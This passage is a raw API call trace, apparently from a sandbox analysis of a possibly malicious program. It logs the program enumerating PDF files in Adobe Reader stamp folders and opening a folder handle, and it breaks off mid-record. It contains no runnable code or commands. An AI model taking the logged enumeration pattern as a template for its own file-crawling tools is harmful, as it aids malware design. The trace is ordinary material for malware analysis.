ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ba0 [0083.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9be8 [0083.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215bc0 [0083.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9cf0 [0083.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7500) returned 0x12c2578 [0083.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.358] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215be0 [0083.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9df8 [0083.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.360] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215c00 [0083.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9f00 [0083.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.361] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215c20 [0083.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa008 [0083.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.363] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215c40 [0083.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa110 [0083.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.364] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.364] GetLastError () returned 0x12 [0083.364] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.365] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26254, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.365] GetLastError () returned 0x12 [0083.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.365] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.366] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0083.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.367] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.367] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.368] NtClose (Handle=0x180) returned 0x0 [0083.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.369] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.369] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.369] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215c60 [0083.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa218 [0083.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.371] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215c80 [0083.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa320 [0083.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.373] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.373] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ca0 [0083.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa428 [0083.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.374] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.374] GetLastError () returned 0x12 [0083.374] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.374] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.375] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.375] GetLastError () returned 0x12 [0083.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.375] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.375] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.375] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: 